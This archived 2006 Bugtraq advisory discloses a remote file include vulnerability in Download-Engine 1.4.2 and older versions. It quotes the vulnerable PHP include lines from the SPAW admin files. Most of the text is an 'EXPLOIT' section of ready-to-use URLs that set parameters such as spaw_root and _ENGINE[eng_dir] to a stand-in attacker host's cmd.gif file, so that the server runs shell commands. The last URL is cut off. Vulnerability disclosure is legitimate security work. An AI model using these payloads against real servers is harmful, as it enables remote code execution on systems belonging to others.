

Download-Engine Remote File İnclude

Source: <http://www.derkeiler.com/Mailing-Lists/securityfocus/bugtraq/2006-10/msg00199.html>

- *From:* By_KorsaN_Son@xxxxxxxxxxxx
 - *Date:* 12 Oct 2006 23:18:22 -0000
-

BiyoSecurity.Org & SecurityWall.Org

Scripts: Download-Engine Remote File İnclude

Download:

http://www.alexscriptengine.de/v2/dl_engine/redirect.php?dlid=50&ENGINEsessID=4754ee8243de5f333ec74272f249

Version : 1.4.2 And Old versions...

Greetz : Liz0zim , RMx , TR_IP , DreamLord

Regards : KorsaN

Vulnerable file And Code :

1. \admin\includes\spaw\spaw_script.js.php

```
include ($engine_path . "lib.inc.php");
```

```
include $_ENGINE['eng_dir'].'admin/includes/spaw/class/script.js.php';
```

2. \admin\includes\spaw\config\spaw_control.config.php

```
$spaw_root = $_ENGINE['eng_dir']."admin/includes/spaw/";
```

```
$spaw_dir = $_ENGINE['main_url'].'admin/includes/spaw/';
```

```
$spaw_base_url = $_ENGINE['main_url'].'admin/includes/spaw/';
```

EXPLOIT :

[http://www.victim.com/\[PATH TO](http://www.victim.com/[PATH TO)

SCRİPT]/admin/includes/spaw/spaw_script.js.php?spaw_root=<http://Evil.com/cmd.gif?&cmd=ls>

[http://www.victim.com/\[PATH TO](http://www.victim.com/[PATH TO)

SCRİPT]/admin/includes/spaw/spaw_script.js.php?_ENGINE[eng_dir]=<http://Evil.com/cmd.gif?&cmd=ls>

[http://www.victim.com/\[PATH TO](http://www.victim.com/[PATH TO)

SCRİPT]/admin/includes/spaw/config/spaw_control.config.php?_ENGINE[eng_dir]=<http://Evil.com/cmd.gif?&cmd=ls>

Download-Engine Remote File İnclude

[http://www.victim.com/\[PATH TO SCRİPT\]/admin/includes/spaw/config/spaw_control.config.php?spaw_root=http://Evil.com/cmd.gif?&cmd=ls](http://www.victim.com/[PATH TO SCRİPT]/admin/includes/spaw/config/spaw_control.config.php?spaw_root=http://Evil.com/cmd.gif?&cmd=ls)

[http://www.victim.com/\[PATH TO SCRİPT\]/admin/includes/spaw/config/spaw_control.config.php?spaw_dir=http://Evil.com/cmd.gif?&cmd=ls](http://www.victim.com/[PATH TO SCRİPT]/admin/includes/spaw/config/spaw_control.config.php?spaw_dir=http://Evil.com/cmd.gif?&cmd=ls)

[http://www.victim.com/\[PATH TO SCRİPT\]/admin/includes/spaw/config/spaw_control.config.php?spaw_base_url=http://Evil.com/cmd.gif?&cmd](http://www.victim.com/[PATH TO SCRİPT]/admin/includes/spaw/config/spaw_control.config.php?spaw_base_url=http://Evil.com/cmd.gif?&cmd)